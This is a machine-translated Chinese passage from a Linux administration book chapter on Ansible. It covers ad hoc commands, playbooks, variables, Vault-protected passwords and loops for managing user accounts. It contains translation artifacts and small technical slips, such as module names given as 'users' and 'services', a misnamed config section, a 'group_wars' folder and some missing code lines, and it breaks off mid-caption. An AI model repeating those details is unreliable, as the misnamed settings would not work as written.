-![Figure 15.10 – Deleting a user account using an ad hoc command](img/B13196_15_10.jpg) - -图 15.10 -使用 ad hoc 命令删除用户帐户 - -您可以安全地忽略在输出中捕获的`stderr`和`stderr_lines`。 该消息是良性的,因为用户之前没有创建邮件假脱机。 - -接下来我们将研究`package`模块,并运行几个相关的特别命令。 - -### 使用包模块 - -下面的命令在`webserver`组中的所有主机上安装**Nginx**web 服务器: - -```sh -ansible -m package -a "name=nginx state=present" webservers -``` - -下面是输出的摘录: - -![Figure 15.11 – Installing the nginx package on the web servers](img/B13196_15_11.jpg) - -图 15.11 -在 web 服务器上安装 nginx 包 - -我们使用一个类似的临时命令在`databases`组中的所有主机上安装**MySQL**数据库服务器: - -```sh -ansible -m package -a "name=mysql-server state=present" databases -``` - -下面是命令输出中的片段: - -![Figure 15.12 – Installing the mysql-server package on the database servers](img/B13196_15_12.jpg) - -图 15.12 -在数据库服务器上安装 mysql-server 包 - -如果我们想要*删除*一个包,临时命令也会类似,但是会以`state=absent`代替。 - -尽管`package`模块提供了跨各种平台的良好操作系统级抽象,但某些包管理任务最好使用特定于平台的包管理器来处理。 接下来我们将向您展示如何使用`apt`和`yum`模块。 - -### 使用特定于平台的包管理器 - -下面的 ad hoc 命令在我们管理环境中的所有 Ubuntu 机器上安装最新的更新。 这个命令的目标是库存中的`ubuntu`组: - -```sh -ansible -m apt -a "upgrade=dist update_cache=yes" ubuntu -``` - -类似地,我们可以在 RHEL/CentOS 机器上安装最新的更新,通过使用下面的 ad hoc 命令瞄准`centos`组: - -```sh -ansible -m yum -a "name=* state=latest update_cache=yes" centos -``` - -特定于平台的包管理模块(`apt`、`yum`等)与系统无关的`package`模块的所有功能相匹配,具有额外的操作系统专用功能。 - -接下来让我们看看`service`模块和几个相关的特别命令。 - -### 使用服务模块 - -重启`webservers`组中所有主机上的`nginx`服务。 - -```sh -ansible -m service -a "name=nginx state=restarted" webservers -``` - -以下是输出的相关摘录: - -![Figure 15.13 – Restarting the nginx service on the web servers](img/B13196_15_13.jpg) - -图 15.13 -在 web 服务器上重启 nginx 服务 - -以同样的方式,我们可以在所有数据库服务器上重新启动`mysql`服务,但是有一个技巧! 在 Ubuntu 上,MySQL 服务被命名为`mysql`,而在 RHEL 和 CentOS 系统上,它被称为`mysqld`。 当然,我们可以为每台主机指定一个合适的服务名称,但是如果你有很多数据库服务器,不管是 Ubuntu 还是 RHEL/CentOS,这将是一项艰巨的任务。 或者,当针对多个主机或组时,我们可以使用*排除模式*(`!`)。 - -下面的命令将重启`databases`组中的所有主机上的`mysql`服务,除了`centos`组中的主机: - -```sh -ansible -m service -a "name=mysql state=restarted" 'databases:!centos' -``` - -类似地,我们可以在`databases`组中的所有主机上重启`mysqld`服务,除了那些属于`ubuntu`组的主机,使用以下临时命令: - -```sh -ansible -m service -a "name=mysqld state=restarted" 'databases:!ubuntu' -``` - -当您针对多个主机或组使用排除模式时,总是使用单引号(`''`); 否则,`ansible`命令将失败。 - -让我们最后看看 Ansible 模块和相关的 ad hoc 命令,它经常用于升级场景。 - -### 使用重启模块 - -下面的 ad hoc 命令重新启动`webservers`组中的所有主机: - -```sh -ansible -m reboot -a "reboot_timeout=3600" webservers -``` - -较慢的主机可能需要更长的时间重新启动,特别是在重大升级期间,因此重新启动超时将增加`3600`秒。 (默认超时时间为`600`秒。) - -在我们的例子中,重启只花了几秒钟。 输出如下: - -![Figure 15.14 – Rebooting the webservers group](img/B13196_15_14.jpg) - -图 15.14 -重新启动 webservers 组 - -在本节中,我们展示了几个使用不同模块的特别命令示例。 下一节将简要介绍一些最常见的 Ansible 模块,以及如何进一步探索。 - -### 探索 Ansible 模块 - -Ansible 拥有大量的模块库。 如前所述,您可以使用`ansible-doc --list`命令在命令行 Terminal 上浏览可用的 Ansible 模块。 您也可以在 Ansible 模块索引页[https://docs.ansible.com/ansible/2.9/modules/modules_by_category.html](https://docs.ansible.com/ansible/2.9/modules/modules_by_category.html)在线访问相同的信息。 - -在线目录提供按类别划分的模块索引,以帮助您快速定位要查找的特定模块。 下面是 Ansible 在日常系统管理和配置管理任务中使用的一些最典型的模块*:* - - ***封装**模块: - -* `apt`:执行 APT 包管理 -* `yum`:执行 YUM 包管理 -* `dnf`:执行 DNF 包管理 - -**系统**模块: - -* `users`:管理用户 -* `services`:控制服务 -* `reboot`:重启机器 -* `firewalld`:防火墙管理 - -**文件**模块 - -* `copy`:将本地文件拷贝到被管理主机 -* `synchronize`:使用`rsync`同步文件和目录 -* `file`:控制文件权限和属性 -* `lineinfile`:操作文本文件中的行 - -**网络工具**模块 - -* `nmcli`:控制网络设置 -* `get_url`:通过 HTTP、HTTPS、FTP 方式下载文件 -* `uri`:与 web 服务和 API 端点交互 - -**命令**模块(非幂等!): - -* `raw`:通过 SSH 简单地运行远程命令(不安全!) 不需要在远程主机上安装 Python -* `command`:使用 Python 的远程执行上下文安全地运行命令 -* `shell`:在被管理主机上执行 shell 命令 - -我们应该注意,特别命令总是使用单个模块*执行单个操作。 这个特性是一个优势(对于快速更改),但也是一个局限性。 对于更复杂的配置管理任务,我们使用 Ansible 剧本。 下面的部分将带领您完成编写和运行 Ansible 剧本的过程。* - - *## 使用 Ansible 剧本 - -Ansible 剧本本质上是一个自动执行的任务列表。 Ansible 配置管理工作流主要是由剧本驱动的。 更准确地说,**剧本**是一个 YAML 文件,包含一个或多个**剧本**,每个剧本都有一个**任务**的列表,按照列出的顺序执行。 play 是针对一组主机运行相关任务的执行单元,它们通过组标识符或模式进行选择。 每个任务使用单个模块,该模块执行针对远程主机的特定操作。 您可以将任务看作简单的 Ansible 临时命令。 由于大多数 Ansible 模块遵循幂等执行上下文,剧本也是幂等的。 多次运行剧本总是会产生相同的结果。 - -编写良好的剧本可以用相对简单和可维护的清单取代繁重的管理任务和复杂的脚本,运行容易重复和可预测的例程。 - -接下来我们将创建我们的第一个 Ansible 剧本。 - -### 创建一个简单的剧本 - -我们将基于用于创建用户(`webuser`)的临时命令构建我们的剧本。 快速回顾一下,命令如下: - -```sh -ansible -m user -a "name=webuser state=present" webservers -``` - -当我们编写等效的剧本时,您可能会注意到一些与特别命令参数的相似之处。 - -在编辑脚本 YAML 文件时,请注意 YAML 格式规则: - -* 缩进只使用空格字符(不使用制表符)。 -* 保持缩进长度一致(例如,两个空格)。 -* 层次结构中相同级别的项(例如,列表项)必须具有相同的缩进。 -* 子项的缩进比父项多一个缩进。 - -现在,使用您选择的 Linux 编辑器,将以下几行添加到`create-user.yml`文件中。 确保你在`~/ansible`项目目录中创建剧本,这是我们拥有当前库存(`hosts`)和 Ansible 配置文件(`ansible.cfg`)的地方: - -![Figure 15.15 – A simple playbook for creating a user](img/B13196_15_15.jpg) - -图 15.15 -创建用户的简单剧本 - -让我们来看看我们的`create-user.yml`剧本中的每一行: - -* `---`:标记剧本文件的开始。 -* `- name:`:描述剧名; 我们可以在剧本里有一个或多个剧本。 -* `hosts: webservers`:针对`webservers`组中的主机。 -* `become: yes`:启用当前任务的权限升级; 如果您在 Ansible 配置文件中启用了无人参与权限升级(在`[privileged_escalation]`节中使用`become = True`),则可以省略这一行。 -* `tasks:`:当前游戏中的任务列表。 -* `- name:`:当前任务名称; 我们可以在一个游戏中有多个任务。 -* `user:`:当前任务使用的模块。 -* `name: webuser`:要创建的用户帐户的名称。 -* `state: present`:创建用户时所需的状态-我们希望用户帐户为*当前*。 - -让我们运行我们的`create-user.yml`剧本: - -```sh -ansible-playbook create-user.yml -``` - -下面是我们在成功运行剧本后得到的输出: - -![Figure 15.16 – Running the create-user.yml playbook](img/B13196_15_16.jpg) - -图 15.16 -运行 create-user yml 剧本 - -`ansible-playbook`命令行选项中的大多数与`ansible`命令中的选项类似。 让我们来看看这些参数: - -* `-i`(`--inventory`):指定目录文件路径。 -* `-b`(`--become`):启用权限升级到`sudo`(`root`)。 -* `-C``(--check`):在不做任何更改和预期最终结果的情况下生成一个演习——这是验证剧本的一个有用选项。 -* `-l`(`--limit`):将命令或剧本的操作限制在被管理主机的一个子集。 -* `--syntax-check`:验证剧本语法,不做任何更改; 此选项仅适用于`ansible-playbook`命令。 - -让我们试验第二个剧本,这一次是为了删除用户。 我们将剧本命名为`delete-user.yml`,并添加以下内容: - -![Figure 15.17 – A simple playbook for deleting a user](img/B13196_15_17.jpg) - -图 15.17 -删除用户的简单剧本 - -现在,让以选择性的方式运行这个剧本:我们想要限制它的操作只针对 Ubuntu`webservers`组。 换句话说,我们将**限制**剧本的目标为`ubuntu`主机组: - -```sh -ansible-playbook delete-user.yml --limit ubuntu -``` - -命令回显信息如下: - -![Figure 15.18 – Limiting the delete-user.yml playbook to the ubuntu host group](img/B13196_15_18.jpg) - -图 15.18 -限制删除用户 Yml 剧本到 ubuntu 主机组 - -正如前面的输出所示,剧本只针对`webservers`组中的主机,这些主机是`ubuntu`组(`web1`)的成员。 虽然`delete-user.yml`剧本内部针对`webserver`组中的所有主机,但通过`--limit`标志,我们将此操作仅限制于`webserver`和`ubuntu`组中的主机。 - -让我们重新运行`delete-user.yml`剧本,这次不限制范围: - -```sh -ansible-playbook delete-user.yml -``` - -注意在`web1`(Ubuntu web 服务器)上的幂等操作,其中用户(`webuser`)已经在我们之前的脚本运行中被删除。 您还可以看到输出中的颜色编码:绿色表示`web1`上的未改变状态,黄色表示`web2`上的改变: - -![Figure 15.19 – Rerunning the delete-user.yml playbook (without a limited scope)](img/B13196_15_19.jpg) - -图 15.19 -重新运行 delete-user Yml 剧本(没有限制的范围) - -接下来,我们将研究进一步简化配置管理工作流的方法,从剧本中变量的使用开始。 - -### 在剧本中使用变量 - -Ansible 提供了一个灵活且通用的模型,用于在剧本和临时命令中使用变量。 通过变量,我们本质上是将*参数化*剧本,使其可重用或动态。 以我们前面的剧本为例,创建一个用户。 我们在剧本中硬编码了用户名(`webuser`)。 我们不能真正重用剧本来创建另一个用户(例如,`webadmin`),除非我们向它添加相关的任务。 但是,如果我们有很多用户,我们的剧本将按比例增长,使其更难维护。 如果我们还想为每个用户指定一个密码呢? 剧本的复杂性会变得更加复杂。 - -这里就是变量发挥作用的地方。 我们可以用变量替换硬编码的值,使剧本动态。 在伪代码方面,我们使用`Playbook`来创建带有特定`username`和`password`的`User`的示例如下: - -```sh -User = Playbook(username, password) -``` - -Ansible 中的变量用双括号括起来; 例如`{{ username }}`。 让我们看看如何在我们的剧本中利用变量。 编辑我们在上一节中编写的`create-user.yml`剧本,并按如下方式进行调整: - -![Figure 15.20 – Using the username variable in a playbook](img/B13196_15_20.jpg) - -图 15.20 -在剧本中使用 username 变量 - -第 6 行和第 8 行用`{{ username }}`变量替换了之前硬编码的值(`webuser`)。 在第 8 行中,我们用双花括号括起引号,以避免 YAML 字典表示法的语法干扰。 Ansible 中的变量名必须以字母开头,并且只能包含字母数字字符和下划线。 - -接下来,我们将解释*如何*和*如何*为变量设置值。 Ansible 实现了一个给变量赋值的层次模型: - -1. **全局变量**:为所有主机设置值,可以通过`--extra-vars``ansible-playbook`命令行参数或`./group_vars/all`文件。 -2. **组变量**:这些值是为特定组中的主机设置的,可以在目录文件中,也可以在以每个组命名的文件中的本地`./group_vars`目录中。 -3. **主机变量**:这些值是为特定主机设置的,可以在目录文件中,也可以在以每个主机命名的文件中的本地`./host_vars`目录中。 主机特定的变量也可以通过`gather_facts`指令从 Ansible**facts**中获得。 您可以在[https://docs.ansible.com/ansible/latest/user_guide/playbooks_vars_facts.html#ansible-facts](https://docs.ansible.com/ansible/latest/user_guide/playbooks_vars_facts.html#ansible-facts)了解更多关于 Ansible 的事实。 -4. **游戏变量**:这些值是在当前游戏的上下文中为游戏目标主机设置的; 例如游戏中的`vars`指令或`include_vars`任务。 - -在前面的编号列表中,变量值的优先级随数字的增加而增加。 换句话说,在游戏中定义的变量值将覆盖在主机、组或全局级别上指定的相同变量值。 - -作为一个的例子,你可能会想起在 Ubuntu 和 RHEL/CentOS 平台上与 MySQL 服务名相关的特性。 在 Ubuntu 上,该服务是`mysql`,而在 CentOS 上,该服务是`mysqld`。 假设我们想在`databases`组中的所有主机上重新启动 MySQL 服务。 我们在*Using Ansible ad hoc commands*一节中遇到了这个问题。 假设我们的大多数数据库服务器运行 CentOS,我们可以将组级`service`变量定义为`service: mysqld`。 我们在本地项目的`./group_vars/databases`文件中设置这个变量。 然后,在我们控制服务状态的游戏中,当远程主机的操作系统平台是 Ubuntu 时,我们可以用`mysql`覆盖`service`变量值。 - -让我们看几个例子来说明我们到目前为止学习的关于放置变量和设置它们的值的内容。 回到我们的`create-user.yml`剧本,我们可以用以下指令在游戏级别定义`username`变量: - -```sh -  vars: -    username: webuser -``` - -以下是它在整体剧本中的样子(第 5-6 行): - -![Figure 15.21 – Defining a variable at the play level](img/B13196_15_21.jpg) - -图 15.21 -在游戏级别定义变量 - -让我们用以下命令运行我们的剧本: - -```sh -ansible-playbook create-user.yml -``` - -以下是输出中的相关摘录: - -![Figure 15.22 – Creating a user with a playbook using variables](img/B13196_15_22.jpg) - -图 15.22 -使用变量创建带有剧本的用户 - -为了删除用户帐户,我们可以重新调整之前的`delete-user.yml`文件,使其看起来如下所示: - -![Figure 15.23 – Deleting a user with a playbook using variables](img/B13196_15_23.jpg) - -图 15.23 -使用变量删除带有剧本的用户 - -保存文件后,执行以下命令删除所有 web 服务器上的`webuser`帐号。 - -```sh -ansible-playbook delete-user.yml -``` - -上述命令运行的相关输出如下: - -![Figure 15.24 – Deleting a user with a playbook using variables](img/B13196_15_24.jpg) - -图 15.24 -使用变量删除带有剧本的用户 - -我们可以进一步完善`create-user`和`delete-user`剧本。 由于 play 只针对`webservers`组,我们可以在`./group_vars/webservers`文件中定义`username`变量。 这样,我们可以使剧本更紧凑。 让我们从两个文件中删除变量定义(第 5-6 行)。 `create-user.yml`文件看起来与*图 15.20*相同。 - -接下来,在本地目录(`~/ansible`)中创建`./group_wars`文件夹,并将以下几行添加到名为`webservers.yml`的文件中: - -```sh ---- -username: webuser -``` - -我们还可以将文件命名为`webservers`,以便它匹配我们的目标群体。 然而,我们更倾向于使用`.yml`扩展名,以便与文件的 YAML 格式保持一致。 Ansible 接受这两种命名约定。 下面是当前项目目录的树状结构: - -![Figure 15.25 – The directory tree, including the group_vars folder](img/B13196_15_25.jpg) - -图 15.25 -目录树,包括 group_vars 文件夹 - -如果我们运行我们的剧本,结果应该与我们之前运行的相同: - -```sh -ansible-playbook create-user.yml -ansible-playbook delete-user.yml -``` - -现在,让我们在`create-user`剧本中再添加一个变量:用户的`password`。 您可能还记得我们为相同目的创建的临时命令。 有关更多信息,请参阅本章前面的*Using Ansible ad hoc commands*一节。 - -在`user`任务的`create-user.yml`文件中添加以下几行,与`name`处于同一级别: - -```sh -password: "{{ password | password_hash('sha512') }}" -update_password: always -``` - -您可能会注意到这些更改与相关的临时命令非常相似。 更新后的剧本内容如下: - -![Figure 15.26 – The playbook with username and password variables](img/B13196_15_26.jpg) - -图 15.26 -用户名和密码变量的剧本 - -接下来,编辑`./group_vars/webservers.yml`文件并添加带有`changeit!`值的`password`变量。 你的更新文件应该有以下内容: - -```sh ---- -username: webuser -password: changeit! -``` - -让我们运行剧本: - -```sh -ansible-playbook create-user.yml -``` - -该命令的输出与前面类似的命令相同。 您可以通过尝试 SSH 到其中一个 web 服务器(例如,`web1`)来测试新的用户名(`webuser`)和密码(`changeit!`): - -```sh -ssh webuser@web1 -``` - -SSH 认证应该成功。 在继续下一步之前,请确保退出远程终端。 让我们用下面的命令删除 webservers 上的`webuser`帐户,以回到初始状态: - -```sh -ansible-playbook delete-user.yml -``` - -假设我们希望重用`create-user`剧本来创建一个使用不同密码的不同用户。 我们将此用户命名为`webadmin`; 我们将设置密码为`changeme!`。 完成此任务的一种方法是在`ansible-playbook`中使用`-e``(--extra-vars`)选项参数: - -```sh -ansible-playbook -e '{"username": "webadmin", "password": "changeme!"}' create-user.yml -``` - -前面的命令将使用相关密码创建一个新用户(`webadmin`)。 您可以使用以下命令测试凭据: - -```sh -ssh webadmin@web1 -``` - -SSH 认证应该成功。 在继续之前,请确保退出远程终端。 - -如您所见,`-e`(`--extra-vars`)选项参数接受一个 JSON 字符串,其中包含`username`和`password`字段,以及相应的值。 这些值将*覆盖`./group_vars/webservers.yml`文件中在组级别定义的相同变量的值*。 - -在进行下一步之前,先删除`webuser`和`webadmin`帐户。 让我们运行`delete-user`剧本,首先不带任何参数: - -```sh -ansible-playbook delete-user.yml -``` - -上述命令将删除`webuser`帐户。 接下来,我们将使用`-e`(`--extra-vars`)选项参数删除`webadmin`用户: - -```sh -ansible-playbook -e '{"username": "webadmin"}' delete-user.yml -``` - -将`--extra-vars`与`create-user`和`delete-user`剧本结合使用,我们可以通过手动运行剧本或在循环中运行剧本,并向 JSON blob 提供所需的变量来对多个用户帐户进行操作。 虽然这个方法可以很容易地编写脚本,但 Ansible 通过使用带有循环的任务迭代提供了更多的方法来改进我们的剧本。 我们将在本章后面讨论循环,但首先,让我们使用 Ansible 用于管理秘密的加密和解密工具更安全地处理我们的密码。 - -### 处理机密 - -Ansible 有一个专门用来管理秘密的模块,叫做**Ansible Vault**。 使用 Ansible Vault,我们可以加密和存储敏感数据,如剧本中引用的变量和文件。 Ansible Vault 本质上是一个密码保护的安全键值数据存储。 - -为了管理我们的秘密,我们可以使用的**ansible-vault**命令行实用程序。 关于我们的剧本,我们创建一个用户与密码,我们希望避免存储明文密码。 它目前在`./group_vars/webservers.yml`文件中。 提醒一下,我们的`webservers.yml`文件有以下内容: - -![Figure 15.27 – The sensitive data stored in the password variable](img/B13196_15_27.jpg) - -图 15.27 -密码变量中存储的敏感数据 - -第 3 行包含敏感数据:密码以明文显示。 我们有几个选择来保护我们的数据: - -* 加密`webservers.yml`文件。 -* 只加密`password`变量。 -* 将密码存储在一个单独的受保护文件中。 - -让我们简要讨论这些选项。 如果选择加密`webservers.yml`文件,可能会产生加密非敏感数据(如`username`或其他通用信息)的开销。 如果我们有很多用户,对非敏感数据进行加密和解密将是高度冗余的。 - -第二个选项——只对密码变量进行加密——对于单个用户来说就可以了。 但是随着用户数量的增加,我们将有多个密码变量需要处理,每个变量都有自己的加密和解密。 如果我们有大量的用户,性能将再次成为一个问题。 - -理想情况下,我们应该有一个单独的文件来存储所有敏感数据。 在剧本运行期间,这个文件只会被解密一次,即使存储了多个密码。 因此,让我们遵循这个选项并创建一个单独的文件来保存用户密码。 我们将文件命名为`passwords.yml`,并添加以下内容: - -![Figure 15.28 – The passwords.yml file storing sensitive data](img/B13196_15_28.jpg) - -图 15.28 -密码 存储敏感数据的 Yml 文件 - -我们添加了与与密码相关的`webuser`用户名匹配的 YAML 字典(或散列)项。 该项包含另一个字典作为键值对:`password: changeit!`。 等效的 YAML 表示如下: - -```sh -webuser: { password: changeit! } -``` - -这种方法将允许我们添加对应于不同用户的密码,像这样: - -```sh -webuser: { password: changeit! } -webadmin: { password: changeme! } -``` - -我们将在本节的后面解释这个数据结构背后的概念,以及在使用`password`变量时的用法。 - -现在,由于我们将密码保存在不同的文件中,我们将从`webusers.yml`中删除相应的条目。 让我们使用`comment`变量添加一些其他与用户相关的信息。 下面是我们的`webusers.yml`文件的样子: - -![Figure 15.29 – The webusers.yml file storing non-sensitive user data](img/B13196_15_29.jpg) - -图 15.29 -网络用户 存储非敏感用户数据的 Yml 文件 - -接下来,让我们通过使用 Ansible Vault 加密`passwords.yml`文件来保护我们的秘密: - -```sh -ansible-vault encrypt passwords.yml -``` - -您将被提示创建一个保险库密码来保护文件。 记住密码,因为我们将在本节中使用它。 完成之后,使用以下命令检查`passwords.yml`文件: - -```sh -cat passwords.yml -``` - -输出显示我们的文件是加密的: - -![Figure 15.30 – The encrypted passwords.yml file](img/B13196_15_30.jpg) - -图 15.30 -加密的密码 yml 文件 - -我们可以使用以下命令查看`passwords.yml`文件的内容: - -```sh -ansible-vault view passwords.yml -``` - -系统将提示您输入我们之前创建的保险库密码。 输出显示了与我们的受保护文件相对应的精简 YAML 内容: - -![Figure 15.31 – Viewing the content of the protected file](img/B13196_15_31.jpg) - -图 15.31 -查看受保护文件的内容 - -如果需要修改,可以使用下面的命令编辑加密文件: - -```sh -ansible-vault edit passwords.yml -``` - -在使用保险库密码进行身份验证之后,该命令将打开一个本地编辑器(`vi`)来编辑您的更改。 如果您想用不同的密码重新加密您的受保护文件,您可以运行以下命令: - -```sh -ansible-vault rekey passwords.yml -``` - -系统将提示您输入当前的保险库密码,然后输入新密码。 - -现在,让我们学习如何在我们的剧本中引用秘密。 首先,让我们确保可以从保险库中读取密码。 对`create-user.yml`文件进行以下更改: - -![Figure 15.32 – Debugging vault access](img/B13196_15_32.jpg) - -图 15.32 -调试仓库访问 - -我们添加了两个任务: - -* `include_vars`(第 6-8 行):从`passwords.yml`文件中读取变量 -* `debug`(第 10-12 行):调试剧本并记录从 vault 中读取的密码 - -这些任务中没有一个*知道*`passwords.yml`文件受到保护。 第 12 行是*神奇*发生的地方: - -```sh -msg: "{{ vars[username]['password'] }}" -``` - -我们使用`vars[]`字典查询剧本中的特定变量。 `vars[]`是一个*保留的*数据结构,用于存储 Ansible 剧本中通过`vars`和`include_vars`创建的所有变量。 我们可以根据`username`指定的键查询字典: - -```sh -{{ vars[username] }} -``` - -我们的剧本从`./group_vars/webservers.yml`文件获取`username`,其值为`webuser`。 因此,`vars[webuser]`字典项从`passwords.yml`文件中读取相应的条目: - -```sh -webuser: { password: changeit! } -``` - -为了从对应的键值对中获取密码值,我们在`vars[username]`字典中指定`'password'`键: - -```sh -{{ vars[username]['password'] }} -``` - -让我们用下面的命令来运行这个剧本: - -```sh -ansible-playbook --ask-vault-pass create-user.yml -``` - -我们调用`--ask-vault-pass`选项来让 Ansible 知道我们的剧本需要密室访问。 如果没有这个选项,在运行剧本时会出现错误。 下面是调试任务的相关输出: - -![Figure 15.33 – The playbook successfully reading secrets from the vault](img/B13196_15_33.jpg) - -图 15.33 -剧本成功地从 vault 中读取秘密 - -在这里,我们可以看到剧本成功地从保险库中检索了密码。 让我们通过添加以下代码来结束我们的`create-user.yml`剧本: - -![Figure 15.34 – The playbook creating a user with a password retrieved from the vault](img/B13196_15_34.jpg) - -图 15.34 -使用从保险库中取回的密码创建用户 - -以下是关于当前实现的一些亮点: - -* 我们添加了`vars`块(第 5-6 行)来定义一个局部`password`变量(在播放范围内),用于从金库读取密码; 我们在多个任务中重用了`password`变量。 -* `include_vars`任务(第 8-10 行)为受保护的`passwords.yml`文件中定义的变量添加了一个外部引用。 -* `debug`任务(第 12-15 行)帮助进行了初始调试工作,以确保我们可以从保险库中读取密码。 您可以选择删除该任务或将其保留以备将来使用。 如果保留该任务,请确保启用了`no_log: true`(第 15 行),以避免在输出中记录敏感信息。 调试时可以临时设置`no_log: false`。 -* `user`任务读取`password`变量并散列相应的值。 出于安全原因,Ansible`user`模块需要这种散列。 我们还添加了带有额外用户信息的`comment`字段。 该字段映射到用户的 Linux GECOS 记录。 相关信息请参见[*第四章*](04.html#_idTextAnchor073)、*管理用户和组*中的*管理用户*部分。 - -让我们用以下命令运行剧本: - -```sh -ansible-playbook --ask-vault-pass create-user.yml -``` - -在命令成功完成后,您可以通过以下两种方式验证新用户帐户: - -* 使用 SSH 连接到任何 web 服务器使用相关的用户名和密码,像这样: -* Look for the `webuser` record in `/etc/passwd`: - - ```sh - tail -n 10 /etc/passwd - ``` - - 你应该在输出中看到以下一行(你也会注意到 GECOS 字段): - - ```sh - webuser:x:1001:1001:Regular web user:/home/webuser:/bin/sh - ``` - -您可能希望运行`ansible-playbook`命令而不提供保险库密码,如`--ask-vault-pass`所要求的。 当使用 Ansible Vault 时,这种功能在脚本化或自动化工作流中是必不可少的。 当你运行使用敏感数据的剧本时,要让你的金库密码自动可用,首先创建一个常规文本文件,最好在你的主目录中; 例如`~/vault.pass`。 将保险库密码添加到该文件中,只需一行。 然后,您可以选择*中的*来使用保险库密码文件: - -* 创建以下环境变量: - - ```sh - export ANSIBLE_VAULT_PASSWORD_FILE=~/vault.pass - ``` - -* 将以下一行添加到`ansible.cfg`文件的`[defaults]`部分: - -现在,您可以在没有`--ask-vault-pass`选项的情况下运行`create-user`剧本: - -```sh -ansible-playbook create-user.yml -``` - -有时,用一个保险库密码保护多个秘密会引起安全问题。 Ansible 通过保险库 id 支持多个保险库密码。 - -#### 使用库 id - -**保险库 ID**是与一个或多个保险库秘密相关联的标识符或标签。 每个保险库 ID 都有一个唯一的密码来解锁加密和解密对应的秘密。 为了说明保险库 id 的使用,让我们看一下我们的`passwords.yml`文件。 假设我们希望使用保险库 ID 保护该文件。 下面的命令创建了一个标记为`passwords`的保险库 ID,并提示我们创建密码: - -```sh -ansible-vault create --vault-id passwords@prompt passwords.yml -``` - -`passwords`保险库 ID 保护`passwords.yml`文件。 现在,让我们假设还希望保护与用户关联的一些 API 密钥。 如果我们将这些秘密存储在`apikeys.yml`文件中,下面的命令将创建一个相应的名为`apikeys`的保险库 ID: - -```sh -ansible-vault create --vault-id apikeys@prompt apikeys.yml -``` - -在这里,我们创建了两个保险库 id,每个都有自己的密码并保护不同的资源。 在管理秘密时,Vault id 提供了改进的安全性上下文。 如果其中一个保险库 ID 密码泄露,由其他保险库 ID 保护的资源仍然受到保护。 有了保险库 id,我们还可以利用不同的访问级别来获取保险库的秘密。 例如,我们可以为相关的用户组定义`admin`、`dev`和`test`保险库 id。 或者,我们可以有多个配置管理项目,每个项目都有自己专用的保险库 id 和秘密; 例如:`user-config`、`web-config`、`db-config`。 - -您可以将一个保险库 ID 与多个秘密关联。 例如,下面的命令创建了一个保护`passwords.yml`和`api-keys.yml`文件的`user-config`保险库 ID: - -```sh -ansible-vault create --vault-id user-config@prompt passwords.yml apikeys.yml -``` - -在使用仓库 id 时,我们还可以指定一个密码文件来提供相关的仓库密码。 下面的命令对`apikeys.yml`文件进行加密,该文件正在从`apikeys.pass`文件中读取相应的保险库 ID 密码: - -```sh -ansible-vault encrypt --vault-id apikeys@apikeys.pass apikeys.yml -``` - -您可以为您的保险库密码文件命名任何您想要的名称,但是保持一致的命名约定,可能是一个匹配相关保险库 ID 的命名约定,将使您在管理多个保险库机密时更容易。 - -类似地,您可以通过以下命令将保险库 ID(`passwords`)传递给剧本(`create-users.yml`): - -```sh -ansible-playbook --vault-id passwords@passwords.pass create-users.yml -``` - -有关 Ansible Vault 的更多信息,您可以参考相关的在线文档[https://docs.ansible.com/ansible/latest/user_guide/vault.html](https://docs.ansible.com/ansible/latest/user_guide/vault.html)。 - -到目前为止,我们已经创建了一个带有密码的单一用户帐户。 如果我们要加载多个用户,每个用户都有自己的密码,该怎么办? 如前所述,我们可以调用`create-user`剧本,并使用`--extra-vars`选项参数覆盖`username`和`password`变量。 但是这种方法不是很有效,更不用说维护它的困难了。 在下一节中,我们将向您展示如何在 Ansible 剧本中使用任务迭代。 - -### 使用循环 - -**循环**提供了在 Ansible 剧本中重复运行一个任务的有效方法。 在 Ansible 中有几种循环实现,我们可以根据它们的关键字或语法将它们分为以下几类: - -* `loop`:推荐的遍历集合的方法。 -* `with_`:特定于集合的循环实现; 例如:`with_list`、`with_items`和`with_dict`。 - -在本节中,我们将聚焦于`loop`迭代(相当于`with_list`),它最适合于简单的循环。 让我们扩展前面的用例,使其适应于创建多个用户。 首先,我们将对使用运行重复任务*和不使用*循环运行的*进行快速比较。* - -作为准备步骤,确保`~/ansible`是当前的工作目录。 此外,您还可以删除`./group_vars`文件夹,因为我们不再使用它了。 现在,让我们创建两个剧本,`create-users1.yml`和`create-users2.yml`,如下图所示: - -![Figure 15.35 – Playbooks with multiple versus iterative tasks](img/B13196_15_35.jpg) - -图 15.35 -多任务和迭代任务的剧本 - -两个剧本都创建了三个用户:`webuser`、`webadmin`和`webdev`。 `create-users1`剧本有三个不同的任务,一个用于创建每个用户。 另一方面,`create-users2`使用`loop`指令实现单个任务迭代(第 15 行): - -```sh -loop: "{{ users }}" -``` - -该循环遍历`users`列表中的项,该列表在第 6-9 行中定义为 play 变量。 `user`任务使用`{{ item }}`变量,在遍历列表时引用每个用户。 - -在运行这些剧本之前,我们还要创建一个用于删除用户的剧本。 我们将此剧本命名为`delete-users2.yml`,它将具有类似于`create-users2.yml`的实现: - -![Figure 15.36 – A playbook using a loop for deleting users](img/B13196_15_36.jpg) - -图 15.36 -使用循环删除用户的剧本 - -现在,让我们运行`create-user1`剧本,同时只针对`web1`web 服务器: - -```sh -ansible-playbook create-users1.yml --limit web1 -``` - -在输出中,我们可以看到已经执行了三个任务,每个用户一个: - -![Figure 15.37 – The output of the create-user1 playbook, with multiple tasks](img/B13196_15_37.jpg) - -图 15.37 - create-user1 剧本的输出,包含多个任务 - -让我们通过运行`delete-users2.yml`剧本来删除用户: - -```sh -ansible-playbook delete-users2.yml --limit web1 -``` - -现在,让我们运行`create-user2`剧本,同样只针对`web1`web 服务器: - -```sh -ansible-playbook create-users2.yml --limit web1 -``` - -这一次,输出显示了一个遍历所有用户的单一任务: - -![Figure 15.38 – The output of the create-user2 playbook, with a single task iteration](img/B13196_15_38.jpg) - -图 15.38 - create-user2 剧本的输出,带有单个任务迭代 - -这两个剧本运行之间的差异是显著的。 第一个剧本为每个用户执行一个任务。 虽然 fork 一个任务不是一个昂贵的操作,但是您可以想象创建数百个用户会给 Ansible 运行时带来很大的负载。 另一方面,第二个剧本运行单个任务,加载`user`模块三次,以创建每个用户。 加载模块比运行任务占用的资源要少得多。 - -既然我们知道了如何实现一个简单的循环,我们将使我们的剧本更加紧凑和可维护。 我们还将以可重用和安全的方式存储用户及其相关密码,从而更接近真实场景。 我们将把用户的信息保存在`users.yml`文件中。 相关密码在`passwords.yml`文件中。 下面是这两个文件,以及一些示例用户数据: - -![Figure 15.39 – The users.yml and passwords.yml files](img/B13196_15_39.jpg) - -图 15.39 -用户 yml 